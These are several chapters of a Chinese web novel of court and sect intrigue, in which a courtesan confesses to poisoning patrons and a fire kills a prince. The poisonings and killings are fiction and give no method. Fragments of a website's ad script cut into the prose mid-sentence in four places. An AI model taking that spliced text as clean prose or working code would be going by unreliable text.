那硬的来不过,自然就得靠巧的。 以宋婉的身份,和彭景他们那酒蒙子的个性,其间最有可能的便是…… 温言斩钉截铁地说道:“你下毒了吧。” “是,没错,”宋婉像是确信了温言与她无害,索性也不装了,爽快地承认道,“青鸢阁向来对这些来往的公子哥们照料仔细,就连每回送往厢房的酒酿和吃食都是经过严格管控的,生怕会出一点纰漏,惹上麻烦……温公子难道就不好奇,我是从哪儿弄来的毒药么?” 青鸢阁对这些东西管控严格,倒是在温言的意料之内——若非如此,岂不是无论谁看嫖客不爽,都能随手下一把毒药?到时候就算是把犯事的小姐拖出去乱棍打死,青鸢阁也难保不会连带着沾上一身腥。 因此,这毒药的来源,只会有两种情况。 温言思忖着答道:“我猜,要么是有人愿意从外面带来给你,要么……便是你自己能做。” “其实前者的可能性并不大,宋小姐你自从前几年在赌桌上一战成名,身价水涨船高后,迎来的嫖客便基本都是些有钱有闲的富家公子哥,这些人再怎么当酒囊饭袋,行事也必然会顾虑身后的家族势力。 因此这些人中鲜少有真心不睦之人,大多都是面上还能打个哈哈的交情,自然是做不得干出这般你死我活之事的推手。 那便只剩下一种可能了。 可宋婉哪怕是再有能力,巧妇也难为无米之炊,想要从青鸢阁内拿到毒药药材自己做,基本是不可能的——这地方能有点迷药、春/药还算是平常,可这些东西里怎么也不会用到有毒的药材……还是那句话,要真出事了,青鸢阁自己都得原地变成泥菩萨。 “有钱能使鬼推磨,这般浅显的道理,我以为你们这种人最懂了,”宋婉看出了温言的疑惑,面上笑笑,“这青鸢阁里,多的是没读过书,又想赚快钱的侍女小厮,我只用轻轻抛个饵,便是天上掉馅饼的恩赐,多得是人愿意抢着做……若是放心不下,到时候再杀人灭口即可,神不知鬼不觉,这秘密就该顺利陪着我进坟里了。” 温言张了张嘴,却到底是什么也没说。 原来如此,这样一来,一切便都说得通了。 宋婉似乎是直到这时,才有了闲心,细细打量过温言的眉眼与衣着,随后自嘲般的开了口:“温公子倒真是幸运,苦尽甘来得了佳人青睐,就连这衣服料子都换成了上好的,怕是要比曾经贵了十倍不止吧。” 温言一愣,像是没明白话题怎么突然就跳往了这个方向,下意识地低头扫了眼自己今日的衣着。 他对这些东西向来不甚讲究,住进柏府后,柏夫人又颇为热情,大包大揽地派了好几个侍女来给他量体裁衣,没过几日,柏清河的衣柜里有一半便换成了他的这些个新衣裳。 他习惯了衣着朴素,不爱整那些个绣花绣线,因此衣衫大多是素布,本就看不太出来区别,原先只当这料子与曾经也无甚差别,心下也从未仔细琢磨过,衣服嘛,隔三岔五的破了坏了,总得是要换的,费那么多心思作甚。 直到现在被宋婉这么直白的点出来,他才有些恍然。 “如今这皇城内,谁还不知道他柏清河有个捧在心尖儿上的人,跟宝贝眼珠子似的,”宋婉轻笑一声,“小女可就实在没这么好命了,真心错付痴情难改,这河岸摇船上的情怨哀歌,该换我上去唱一曲才是。” 真心错付?痴情难改? 温言听着这幽默话,嘴角都不免勾了勾。 “其实我本来,没想杀了他的……彭少爷这些年间,但凡来这花街柳巷,那鸨母都知道该喊我来陪,他明里暗里递了我多少好,我也都是看在眼里的,虽然人蠢了点,但好歹还算不坏,从来没羞辱,或是折腾过我,心情好了更是什么礼物都上赶着往我这儿送……” “能做到这个份上,要说没一丝真心,我是不信的,”宋婉手肘撑在桌上,指尖细细摸过另一手的指甲,像是在思考着什么,“不过现在想来,这份‘真心’,与面对一只眼熟的阿猫阿狗的真心,也无甚区别……” “你听说了彭景身死的消息,自然也应该知道,彭家有人要升迁去当知县的事儿吧?”宋婉垂眸一笑,继续说道,“这事儿还是他有次喝醉了,亲口告诉我的,说他要跟着长辈去辛城定居了,到时候就很难再见到了……” 于是,当时的宋婉攥紧了手帕,心下百转千回,面上却是笑容不变,试探着问道:“彭少爷怎的这就要离开皇城 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这座温柔乡了,留着阿宋一个人,可不得想您想得心焦呀?” “哎,可不么,就是苦了我的好阿宋……阿宋啊,放心,我彭景一言九鼎,到时候肯定会时常……嗝,时常回来看我的亲亲阿宋的……”彭景显然是已经喝高了,语句有些混乱,手也跟着不规矩了起来,“……保证不会让……让我的亲亲阿宋寂寞……” 宋婉的心思却显然不在那里,见跟这醉鬼说暗示是徒劳无功,索性说得更直白了些:“彭少爷,您疼阿宋,不如就将阿宋给带在身边吧……” 彭景手下动作一顿,跟酒醒了三分似的,盯着宋婉看了几秒,果断摇起了头。 “那不成……这事儿,这种光耀门楣的事儿,带着个妓子,像什么样子,到时候万一传了开来,我彭景不就成了这皇城的笑话……不成,肯定不成……” “没有人不想离开这鬼地方,我做梦都想,想有个人带我走,谁都好,能带我走就好,”宋婉说着,低低地笑了两声,“我见过很多人,她们死心塌地地攀附于男人身上,运气好点儿的被赎了身,可浑身没半点依仗,最终也不过是被换了座鸟笼,死在了深宅大院里。” “所以从一开始,我求财、求权、求人,却唯独不求爱……男人的爱,是这世上最靠不住的东西。”宋婉狠狠盯着温言,“可笑的是,情爱当真半点不由人,柏清河恨不得能昭告天下他爱上了你,哪怕你是个跟他门不当户不对的男人,是个双手沾满鲜血的恶人,甚至还是个被关进过地牢里的罪人,都没关系……而我呢,我只是一个没那么好命的女人,怎么就成了个这般拿不出手的物件了?” 宋婉语调不由自主地上扬,肩膀跟着耸动了两下,像是泫然欲泣;温言端坐在对面,难得有些不知所措了起来。 “抱歉,失态了,你是林芷的朋友,我不该朝你撒火,”好在宋婉很快便调整好了自身,扬手将温言面前的茶水泼到了身后的地上,接着说道,“所以我只是恨彭景,他既然不能带我脱离苦海,那便也没用了。” 没用的废物,就该被处理掉。 于是宋婉在一天夜里将彭景约了出来,陪他喝了最后一杯酒。 宋婉眼波流转,脸上又重新扬起了那得体的微笑:“温公子,我知道你找我是要做什么,看在林芷的面子和你听我说了一大通废话的份上,我会尽最大的能力帮你,但这个解药原先从未有人做过……说实话,我也并没有把握。” 温言怎么也没想到,对方竟会突然答应得这般爽快,不由得一愣,好在他心下知晓对方如今最想要的是什么,于是立马拱手道:“多谢宋小姐救命之恩,赎身一事,在下定会帮忙解决……” “虚话不必再提,我之后会给你个地址,派人将药材送到那里即可……也不用谢我,我肯帮你,自然也有所图,毕竟除了赎身,还有件事,这天下当真是再没有比温公子更适合的人选了。”宋婉朱唇微启,一字一句,却是掷地有声。 “无论你用什么方法,我要杨恒和李子鹏的尸体永不见天日,从此往后,永远也不会有人找到他们。” 66.藏匿 单薄的纸张上画着一只展翅欲飞的雏鸟,作画者大抵是学艺不精,让看画之人实在是辨识不出这鸟的品种,右下角用毛笔写着个极细极小的“宋”字——指代对象就端坐在温言对面,拎起纸张卷成一个中空的细团,挨上了桌上烛火的边。 “细团”瞬间便飞快地燃成了灰烬。 难怪锦桢这厮明明没有心仪的姑娘,全皇城又有那么多座青楼酒家,却偏偏总来青鸢阁这地方抽烟喝酒。 温言细细打量着面前的这个女人,对方的确是妙曼生姿,一颦一笑都像是被设计好了似的,把控在一个精准又微妙的尺度,眼波流转,却又免去了落于风尘的俗态。 实在是很难想象,就这么一个全身都没二两肉,看上去拎个茶壶都得怕手腕被风吹折的女人,已经轻飘飘地了结了三条人命。 似乎还不过是因为情债。 宋婉轻笑一声,打断了温言出走的思绪:“温公子,你要是再这么盯着我瞧,我可就要品出点别的意思了——” “咳……” 温言立马低下头,有些慌乱地端起面前的茶杯以掩尴尬,可望着那空空如也的茶杯,他才想起,里面的茶水早就被宋婉扬手泼了个底掉。 温言:“……” 这么一遭,倒是让他这个“心虚的假贼”重新冷静下来了。 宋婉原先以为,温言能同柏清河混一道去,还跟那个整日跑顶楼厢房喝酒逗闷的锦桢称兄道弟,也应当是个差不多的性子,实在是没想到对方竟然如此不经逗,便将原想脱口而出的几句酒场调侃尽数咽下,话音一转,启了正事。 “我想让彭景带我离开这鬼地方,除了‘恢复自由’之外,还有另一个目的,不妨也跟你挑明说了,”宋婉用指尖沾了下自己杯中的茶水,在桌上边写边说道,“我知道皇城动乱在即,想让彭景带我出城的理由,也有‘避难’——远离是非,是能在这世间活下去的最好方法。” 温言眉头一皱,追问道:“你怎么知道皇城动乱在即?” “柏平昀与柏清河皆已奉命出城,虽明为平外患,却也有调虎离山之意,”宋婉没接温言的疑问,自顾自地接着说道,“皇帝已老却不服老,始终不肯下太子的即位诏书,你们那位阁主,野心太重,养精蓄锐数十载,如今就是他能动手的最好时机。” 宋婉落下最后一笔,翻手用指节敲击了两下桌面。 “这就是他一直想要得到手的东西。” 温言低头看向桌面上那明晃晃的两个字,后背瞬间窜起了一股寒意。 望尘坐在厢房外,擦完了刀,正想再将脸上的血污也顺带着擦两把,却遗憾地发现全身上下已经再找不到一块干净的衣角能担任这个重任。 他向后一仰头,就这么虚虚靠在了墙上,心下却不免腹诽,温公子到底是不是预料到了这狼狈的情况,才决定将那些人全都交给自己解决的…… 靠,那心也太黑了! 蹬蹬蹬—— 这青鸢阁内来往人数众多,一连串的脚步声响起,本也没有引起望尘的注意,直到这脚步声由远及近地朝他而来,他才缓缓睁开了双眼。 一个将头发虚虚盘在脑后的小女孩手上端了杯白水,就这么停在了望尘面前。 望尘心下奇怪,正要站起身,那女孩却是快他一步,先将茶杯塞入了他手中,又从袖袋里掏出了块藕粉色的手帕,冲他扬了扬脑袋。 望尘在瞬息间简单判断出了女孩的情况,从脚步和呼吸声听来,对方应当不是习武之人,这才不明所以地顺着对方的视线伸出了手。 小女孩从鼻腔里发出了一声轻快地哼声,似乎对望尘的“善解人意”十分满意,随后将手帕放入了对方抬起的手中,示意他快去把脸擦擦。 望尘:“……” 他好像,从这小女孩的神情里看到了一丝嫌弃…… 按理说,他是不应当接受这份好意的,可对方不过是个小孩,仰着小脸冲他笑,他也就莫名卸下了些防备,用手帕意意思思地抹了两下脸。 “你是跟着温言哥哥来的吧,放心,我不害你,这手帕上没迷药,你也不用还给我,用就是了。” 小女孩蹲下身,坐在了望尘身边,明明在同望尘说着话,目光却并未投向坐在一旁的本人,而是漫无目的地巡视过回廊对面的上下两层厢房。 这青鸢阁内部的厢房是个“回”字形排布,这么抬眼望过去,对面上下几层回廊的动静都能被看得一清二楚。 望尘这下当真是对身边的小孩儿产生了些好奇,忍不住偏头看去,就见对方身着一袭藕粉色的连衫长裙,坐下时几乎将她整个人都包裹了进去,只剩张小脸露在外面,莫约八九岁的年纪。 他盯的时间久了,对方才像是察觉到了一般,也偏过头,朝他笑了一下。 莫约八九岁…… 望尘心下顿时打了个激灵,青鸢阁是疯了吗,这么小的童工都敢雇佣! 而且对方,喊温公子“哥哥”……似乎是认识温公子的? 可他从来没听温公子说过这号人物啊? “别想太多,我不是这里的人,只是看你跟温言哥哥一道,知道你不是坏人,才闲得没事来跟你聊会儿,”小女孩笑着开了口,随后扬手将脑后的发簪取下,黑发顿时垂了下来,她这才舒舒服服地往墙上一靠,补充道,“那杯水也没毒,你要是渴了,可以喝的。” 望尘似乎是被对方这一连串地动作给震惊到了,心下暗叹一声,收回了目光,话匣子却也不由自主地打开了:“你说你不是这里的人,那来这里做什么?” “救人呀,喜欢的姐姐替我背了黑锅,弄不好可就完蛋了,我当然不能见死不救吧。” 小女孩眼珠子滴溜溜一转,一股狡黠劲儿便涌了上来,“不过现在温言哥哥来了,就没我什么事儿了。” 这下望尘更是听了个云里雾里。 成人替小女孩背黑锅,这“黑锅”再黑能黑到什么程度?望尘以己度人,觉得无非也就是些摔了盘子摔了碟的小事儿,最多罚点俸禄,挨两下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手板子,也就过了,怎么也上升不到“完蛋”的地步。 难不成是青鸢阁内部已经黑到了这种程度?这么点小事儿都要拖着一个小女孩上刑场? 思来想去想不出个所以然来,望尘只好干巴巴地接了个语气词:“啊……” “真的呀,我那天只是不小心喂死了两只想要啄我的小鸟,却差点把姐姐吓死了,”小女孩的眉头随着语气一同低垂了下去,叹了口气,“姐姐说,这事儿要是被鸨母或者别的姐姐发现了,就完蛋了,所以她得想个办法,把这两只小鸟给处理好。” “虽然姐姐说用不上我,但我还是想留下来,万一能帮得上忙呢?” 两只小鸟。 望尘愣愣地点了下头,觉得这事儿听上去确实似乎比摔了盘子要严重些。 他看着对方那张几乎写满了“聪明伶俐”四个大字的小脸,几乎要怀疑这话是不是含有什么隐喻的时候,温言总算是推门走了出来。 “望尘,身上带银票了吗?” 温言随手拍上望尘的肩膀,顺走了对方举起的钱袋子,从里面对着数抽出了几张,才将钱袋子抛了回去。 望尘对他这钱袋子的“斤两”如数家珍,瞬间心如刀割,几乎要落下泪来:“温公子,你突然要这么多钱做什么?” “唔……”温言重新点了遍数,确认无误后才道,“给里面那位宋小姐赎身。” 赎身…… 赎身?! 望尘心里顿时警铃大作,觉得此事颇有蹊跷,却只敢弱弱地在旁开口道:“温公子,我家少爷这才刚走两天……” 温言心里明镜儿似的,瞬间便明白望尘这家伙脑子里的歪想法又飘到九霄云外去了,反手便学着柏清河的动作,哭笑不得地敲了对方一个脑瓜崩:“想什么呢,是我有求于她,这是双方达成的交易条件,懂么?” “嗷!”望尘捂着脑门,往旁边跳开一步。 温言抬眼,这才看见了之前被望尘无意间挡在身后的小女孩,不由得一愣,勾起的唇角就这么僵在了脸上。 小女孩此时也拍了拍衣角的灰尘,站起身,朝着温言扬脸笑了一下后,转头跑开了。 与此同时。 唐知文将下属呈来的信件抽出,双手摊开,忍不住轻笑一声。 “这种时候,皇弟怎么突然要找我出门叙旧?” “属下认为,二皇子始终对皇位贼心不死,这种摆明了心术不正的鸿门宴,太子殿下您不必理会,不去也罢。”下属站在一旁,恭敬地弯腰提议道。 “哎,这话叫旁人听了去,可又得多感慨我们皇家险恶,以最恶之心揣度最亲的血脉兄弟了,”唐知文笑着将信件重新塞回了信封,摇了摇头,“他既三番五次地递来邀请,纵使是龙潭虎穴,也得亲自去走一遭才算是给了面。” 他将信封直接交给了一旁站着的侍卫,吩咐道:“就按这上面写的时间地点准备着,也别忘了给我的皇弟回一封,就说消息收到了,到时……定会准时赴宴。” 67.桐油 “你确定这打法是乌汗会使出来的?我看着不像啊。” 柏清河翻身下马,靠着他爹坐在了篝火边的土地上,伸腿一划拉,扬起了一阵沙尘,果不其然地挨了他爹打来的脑瓜崩。 这脑瓜崩原来还是家族遗传产物。 柏平昀正举着根木棍,上面串了块肥瘦相间的羊腿肉,滋滋往外冒着油,香气扑鼻,他本人却神情自若,好似只是举着块石头往火上燎,半点没受到影响,开口道:“怎么不像?” “嗯……”柏清河的眼神不住往那羊腿肉上瞟,咽了口唾沫,才接着说道,“虽说交手经验不多,可在我的印象里,他应当是更善用勇武骑兵的感觉,说难听点……恰达勒多的是人高马大的莽夫,往战场上一放,让他们猛冲就是了,什么兵法谋略都是扯淡,能单枪匹马杀出重围才是他们信奉的‘硬道理’。” “不错,况且恰达勒人大部分都生活在草原上,日常跑马与我们的一日三餐一同寻常,单论骑兵,我们确实很难做到更胜一筹,”柏平昀点了点头,“那现在呢?” “现在……就感觉他像是突然多长了个脑子似的,没再一味地冲锋了不说,昨日甚至还在行军中途摆出了个长蛇阵,吓我一大跳,”柏清河皱起眉头,用手指在尘沙上画了个歪歪扭扭的蛇形,“要不是我留了个心眼,让望洋悄摸爬到了地势略高的地方吹哨,昨日怕是不少弟兄都得被他手里那些莽夫斩于马下。” 柏平昀沉默地听完,似乎是被“多长了个脑子”这个形容给逗笑了,弯了弯嘴角。 “不然,莫非你以为乌汗是生下来就顺理成章坐在这个位置上的?想要我们这国家的皇位都得来个九子夺嫡,其间明争暗斗踩碎了多少白骨,他们那摆明了搞尚武文化的更不用提,多的是身强体壮的年轻小辈,要是乌汗真是个没头脑的莽夫,那他的人头早就先一步被内讧的给‘供奉’进马厩里了。” 柏清河跟着这番话转念一想,心说倒也确实是这么个道理。 “不过你昨日确实做得很好,按理说,这军中有明确的赏罚制度,我应当对你论功行赏,可我这个当爹的,要真给你送银两,倒又显得过于疏离,也难免让人觉得有敛财之意——玩命上前线的,更多的还是些家里没饭吃被送来军中养活的小伙子,怕他们觉得自己拼死拼活,我眼里却只有你这么个亲儿子,寒心呐……” 柏平昀说着,手一伸,那滋滋冒油的羊腿肉离柏清河更近了几分。 他行军多年,这种在野外生火烤肉的能力是自不用说的好,再加上平日里也没少颠锅做菜,对火候的把控极其精准,光是这么打眼看着,便知道这上好的新鲜羊腿肉已经拥有了完美的外酥里嫩的好味道。 柏清河这会儿的视线已经一错不错地跟着那往下滴落的油滴走了,喉间上下滚动,更明显地咽了口唾沫,几乎下一秒就想要脱口而出:臭老头快别整那些虚的了,唠叨个没完,我看这玩意儿就挺好,用它抵上个黄金万两也没啥问题。 大概是眼中的急切表现得过于明显,他话还没来得及说出口,柏平昀就又将东西往他眼前伸了伸,嘴上也没停:“平常怎么没觉得你这么没眼力见,口水都快流到地上了还端着给谁看呢——归你的,接着。” 于是柏清河立马接过了这木棍的两头,上面的羊腿肉在两人说话间已经被夜风吹了一阵,外皮温度适宜入口,内里却还是给他烫了个激灵。 柏平昀在旁边看着这个一边吹气一边大快朵颐,宛如饿死鬼投胎的儿子,难得没斥责对方“吃东西也没个人样”。 也许是因为……眼下实在是这几日里难得能歇息会儿的好时光。 乌汗这几□□得紧,几乎有些要以战养战的意思,以至于几人策马奔腾来到琼山,一口热乎饭都还没来得及吃上,饿着肚子就得拎着武器上战场厮杀,亲眼目睹着一茬一茬的人头滚落在地,尸山堆砌,足足染红了琼山脚下蜿蜒而过的长河,也实在没了吃饱饭的心思。 怎么样才能打赢这场仗? 怎么样才能死最少的人? 对方为什么突然改了阵势,是终于显露出了精明还是企图有变? 河水湍流而过,到了后半夜,又自行恢复如了初,仿佛那“血海”只是众人心头的幻梦一场。 柏平昀突然没头没脑地说道:“乌汗肯对你用这些法子,才算是真把你当作对手了。” 柏清河嚼肉的动作一顿,从鼻腔里哼了一声。 “不就是些兵法,当我这么多年兵书是白读的么,他那莽夫早就该高看我一眼,”柏清河手里的羊腿几乎已经被啃得只剩下腿骨了,他啧了一声,用没沾上什么油的那只手从袖袋中捞出了块手帕,扫了一眼,又怏怏地塞了回去,就这么将两手手心朝上搭在膝盖上,“只能怪他自己狗眼看人低,栽跟头了吧。” “臭小子收收你那轻飘的性子,不过是打了场胜仗而已,苦日子还在后头呢,”柏平昀又不知从哪儿捡来了根树枝,丢到了柏清河身上,“想好下一步该怎么应对了?” “当然。” 柏清河没多说什么,只是在地上那蛇形旁边又画了条一笔成型的鱼。 鱼鳞阵。 “是个不错的主意,”柏平昀点了点头,算是允了,随后话音一转,“你手一直摊那儿干嘛?刚才你不是拿出了个手帕,还不赶紧擦擦?” 柏清河手上本就沾油,在这泥沙地上一划拉,顿时又吸了一手指的沙土,自觉恶心得不行,臭老头就算不开这个口,他也得赶紧去旁边的河里洗洗。 但既然臭老头已经开口问了,柏清河觉得自己还是应当卖对方个面子,于是头也不回地反问道:“我娘给你的手帕,难道你就舍得拿来擦油么?” 柏平昀被问得一愣,足足好几秒后才反应过来对方这话里的意思,顿时怒喝一声。 “臭小子!反了天了你!” 温言看着被望尘领进院里来的小女孩,眉头顿时蹙起。 “小澄,你来这里做什么?”温言鲜少有这么情绪外露的时候,就连望尘都只敢站在一旁默不吭声,“我以为上次青鸢阁一别,你就知道该回去了。” 名叫“小澄”的小女孩嘴一瘪,双手背在身后绞着衣角:“这不能赖我,我上回跑去青鸢阁找宋婉姐姐,其实是为了阿澈。” “为了阿澈?他什么时候真话比假话多过,也亏你敢信,到时候怕是把你骗到青鸢阁里卖了你还得替他数钱。”温言颇有些头疼,阿澈这死孩子脑子里鬼点子多,已经不是一天两天的事儿了。 “这回不一样,”小澄似乎也知道温言说的是对的,声音低 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了下去,但还是忍不住小声辩解道,“阿澈有天回来哭了好久,我们都没见过他掉眼泪的,顿时都不知道该怎么办了,问他他也不说……我们本想等林芷姐姐回来安慰他的,可是突然有一天早上,阿澈就不见了,林芷姐姐也再也没来过了,我这才铤而走险……来皇城找人的……” 原来这孩子还知道自己的行为算是“铤而走险”。 温言这会儿才算是体会到了,林芷平日里对待他们的好脾气只怕是在这帮小孩儿身上千锤百炼来的,难怪锦桢无论怎么撩拨,都几乎不见她真窝火。 但是……等等,林芷再也没去看过他们了? 这几乎是不可能出现的情况。 这帮小孩儿从一开始,就是林芷不知道从哪些犄角旮旯里捡来的,凑合凑合,也就凑成了一窝,养在皇城外面,平日里隔三岔五就会拎着大包小包去照顾他们,相比温言和锦桢这种知道了这事儿后基本只给金钱资助,偶尔才有空去帮帮忙的人,她真算得上是尽心尽力、尽职尽责了。 除非是出事儿了,不然温言真想不到,还有什么情况能绊住林芷的脚步。 雪上加霜的是,阿澈这浑小子这会儿还自己跑不见了! 温言抬眼望向小澄,对方被看得一个激灵,话瞬间又跟车轱辘一样全滚了出来:“我这回来柏府找你,是锦桢哥哥让我来的……我当时在青鸢阁里没能跑掉,就窝在宋婉姐姐那儿躲了几天,谁知道后来半夜溜出去的时候正巧碰到他了,他塞给了我个东西,说他自己暂时没法跟温言哥哥你见面,但这东西一定要交到你手上。” ……还敢拿小孩儿跑腿,这些人是都疯了吗?! 温言深呼吸一口气,他本也只是端个样子,想让对方意识到事情的严重性,这会儿又觉得小澄的理由似乎确实充分,自觉自己更是没了生气的道理,只好勾了勾手,让女孩儿将东西拿给他。 小澄这一身察言观色的本领也不知是跟谁学来的,一瞅温言的神情就知道对方已经软下心了,立马小跑两步,从腰间取下了一个配套的藕粉色小锦囊。 ……还挺巧妙,就这么打眼扫过去,怕是任谁也猜不出来,这充其量不过两个指节大小的锦囊里还另有乾坤。 温言当着两人的面拆开了锦囊,从里面取出了一张被细细卷好的纸条。 同时,还从这锦囊中闻到了股桐油味儿。 “桐油?”旁边的望尘始终当着个沉默的木桩,直到这时才试探着开了口。 小澄左看看右看看,见两人神色不对,立马开口撇清了关系:“这锦囊也是锦桢哥哥给我的,我可什么都不知道。” 与此同时。 一座城郊旅馆内燃起熊熊大火,太子与二皇子虽各带侍卫数名,几人却皆为护主葬身火海,只余他们两人被掩护着逃离其中,坐上了回宫的马车。 马车颠簸一路,极尽所能,其中一人却还是没能熬到疾奔而来的医师问诊。 二皇子唐知理,因烧伤过重,呼吸困难,毙于回宫马车中。 太子唐知文,病因相同,幸而福大命大,暂时保住了命,却也于宫中昏迷不醒。 至此,皇帝震怒,下令不惜一切代价,彻查此事;皇城内,那些暗地里摇摇欲坠的平衡也终于被人一把打破,彻底掀了棋盘。 68.贼子 十几年前。 “咳咳咳……” 一阵微弱的咳嗽声从院内响起,侍从们忙寻声找来,只见一个小孩身子一歪,跪倒在了院中,一手掐着自己的脖颈,另一手则是撑在雪地间,胸腔与脊背处起伏不止,神情痛苦,又发出了一串“惊天动地”的呛咳声。 “呀,这是怎么了呀?”第一个跑来的侍女连忙扶起了小孩,摸了摸对方的额头,入手却是一阵滚烫,灼得她瞬间将手收了回去,扯着嗓子喊道,“小阁主好像病得不行了,快来人呐!” 小阁主。 他没有名字,这简简单单的三个字,就是他在院中的代称。 “怕是这几日长老给人训狠了吧,”另一个匆匆赶来的侍从说道,“长老也真是的,这么小的小孩,哪经得住那么折腾啊……” 一旁的侍女连连摆手:“嘘!这种质疑的话也敢说,你头上有几颗脑袋,不要命了?” 被提醒的侍从立马放低了声音,却还是忍不住皱眉嘟囔道:“这冰天雪地的也没个消停,之前不还死了一个,到时候好苗子都废了,我看他这运数也就到头了……” “慎言,慎言啊!老东西指不定就在哪儿听着呢……” 众人说着话,手上动作却是半分没停,一拥而上地将人从雪地里捞了起来,丢给了那个胆子最大的侍从抱着,一路小跑,最终敲响了长老的书房门。 开门的是个面容极为威严的老者,眼皮耸拉,面无表情时嘴角有个向下弯着的弧形,下巴处留着把细长的白胡须,平日里怕是没少对着铜镜打理这三两细毛,这般随意垂下也是个极为标准,两侧对称的三角形,满头的银白发丝则是被一根黑发簪盘于脑后,总而言之,是一副标准的老人皮相。 小孩儿……小阁主似乎不敢在这人面前大声咳嗽,伸手捂着嘴巴,憋得满脸通红,耳畔嗡鸣作响,听不清也记不住那侍从跟这位长老说了些什么,只记得最后长老用一种分外凌厉的目光将他上下仔细打量了一番,才点点头,又关上了房门。 就这么短短几分钟,书房里飘散而出的草药味已经熏得这位小阁主面容发紫,门刚一合上,没离开两步,他便止不住地挣扎起来,想要翻身吐在一旁。 “哎哟我的小祖宗啊,”先前的侍女又不知从哪儿冒了出来,手上拿着件厚裘氅,不由分说地就要往他身上披,“很难受是不是,没事的,我们这就出去,去医馆找那些神医开个方子,捏着鼻子喝个两日,保准药到病除,啊……” 她说话时尾音微微上扬,其间安抚的意味分外明显。 于是他就这么被这几个侍从闹哄哄地送出了院,最终只剩下那个侍女牵着他的手,两人一步一个脚印地走在雪地间,期间还不时停下来休整片刻,这才又慢慢往前走去。 等来到医馆,闻着那令人头晕目眩的药草味,他顿时又是眉头一皱,连深呼吸的咳嗽都做不到了,只能低低地小口喘着气,祈求面前这位面容和善的老先生能“望闻问切”地更快些,尽早让他脱离苦海。 可很快,更令人猝不及防的事情发生了。 “闲杂人等退避!”一脚踹开医馆大门的侍卫声如洪钟,带着不容质疑的强势,入屋拽着那老医师的领子——跟“拎小鸡”似的,就想要将人带走,“皇上有令,三皇子感染风寒,急需搜罗全城医师入宫为其看诊,违抗者,视为蔑视皇令,就地格杀!” 被打搅的人群顿时发出了阵阵尖叫声,随后纷乱的脚步声响起,一堆接着一堆原先想要挤入医馆,凑到医师眼前问诊的病人和随行人员,如今几乎是怀着要将门槛踏破的架势,如海浪退潮般往外涌去。 只剩下他们这边……他身侧的侍女想要伸手抓住老医师的衣角,大叫道:“官人!官人行行好!我家孩子身染重疾,实在是快不行了……求官人稍等片刻,就几秒钟,至少先让先生给我家孩子写个方子……啊!” 求情的侍女被那领头的侍卫当胸一脚踹了回去,随后半分多余的眼神也没施舍,转身就接着拎起老医师往门外赶。 侍女被这一脚踹得胸闷气短,好半晌才从地上狼狈地爬起身,再想要做些什么,那些官兵却早就跑没影了——只留下些看乐子的路人,远远地站在门外朝屋内张望着。 于是侍女只得踉跄着走到门边,反手关上了屋门,插上门闩,再回头抱住那命苦的小阁主,轻轻地拍着对方的后背。 在这种近乎是属于“母爱”的怀抱中,他恍然惊觉,这似乎也在宣告着四个大字——无能为力。 他终于又猛地咳嗽起来,回望向侍女的眼睛,轻声问道:“姐……姐姐,我会死吗?” 他们把医师都带走了,没人能为我看病,我是不是就要死了? 侍女被问得抖了下身子,眉眼微垂,却是摇头道:“小阁主,你别瞎想,你的命还长着呢,我不会让你……我会想到办法的。” 这种安慰小孩子的话术显然没有奏效,对方甚至在最后还改了道措辞,显得更加没有了信服力。 所以他只是轻轻地笑了笑。 那是他这辈子第一次亲眼见到,并刻骨铭心地记住了一个道理——这世间从来都是没有王法的。 只有皇权,才是真正的“王法”。 侍女在接下来的两日内不死心地东奔西走,却始终一无所获。 反倒是他,虽说能明显感觉到身体一天比一天要弱了下去,就连咳嗽都震得胸腔锐痛不止,却也算是难得过上了两天无所事事,只用“混吃等死”的好时光。 其实就这么死了,也挺好的。 他靠在木榻上,看着无意间被挽起的袖口,其间露出的手臂上一片青紫,几乎没一块好肉。 最终,到底是命运眷顾,功夫不负有心人,还真让那侍女给他找来了个不知从哪儿冒出来的江湖游医。 他看着那游医分外年轻的面容,鼻尖顿时漫上了一股花香 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,激得他不动声色地后仰了两分,不由得打心眼里怀疑起了这人的水准。 “这病不是第一次发作了吧,拖得可有点久了,”女游医皱起眉头,收回了搭在他手腕处的指尖,“能治是能治,但这身子骨肯定是回不到从前了,未来要是得闲,还是得定期养护着才行。” “是,是,”那侍女一听医治有门,立马忙不迭地点起了头,活像是抓住了最后一根救命稻草,说话都激动得结巴了起来,“能治就好,能治就好!” 女游医拿起桌面上的笔墨,龙飞凤舞地写了个草药方子给侍女,微笑着叮嘱道:“也别太过挂怀,这病啊,心病也是诱因——” 话音未落,她又转头朝向面前的小孩:“你也是,小小年纪,可别再整天多想些有的没的了。” ……管的真宽。 他面无表情地看着对方,心里却不免嘀咕道。 后来他躲在门后,才偷听得了这女游医的名讳——免贵姓林。 遗憾的是,这段“好时光”就这么随着一张薄纸戛然而止,等他随着侍女再次回到院内,事情又发生了翻天覆地的变化。 那面色阴沉的长老本就是想要把他培养成一个文武全才——他需要这么一枚棋子,往好了说,是想为国家添能臣,往坏了讲……乱臣贼子可不是谁能都有命干的活儿。 总之,这长老精挑细选后才选出了数个孩子,而他是其中最出众的那个——可这已经是几天前的事了,如今他身子骨变弱的状况实在是隐瞒不住,便立即被拉下了马来。 理所应当的,他被长老抛弃了。 他再也不会是那被侍从们追捧着的“小阁主了”。 他成了那几个他原先根本看不起的、藉藉无名的小孩中的一个。 也许在那时,这份扭曲的、求而不得的“屈辱”,便已经被他深深地埋入了骨血中……直到这匆匆十余载晃眼而过,才恍然惊觉,它早已生根发芽,长成了棵与他本人根系相连、融为一体的参天大树。 “阁主,”一名影卫站在门外,声音恭敬地说道,“刚得到消息,老皇帝悲愤交加,身子骨没抗住,吐血后只能病卧在榻,似乎是……中风了。” 来得正好。 年轻人从座位上站起身,难得回过头,神情轻蔑地顺手弹了下被他摆在屋内角落的牌位——上面赫然写着当初那名长老的名讳! 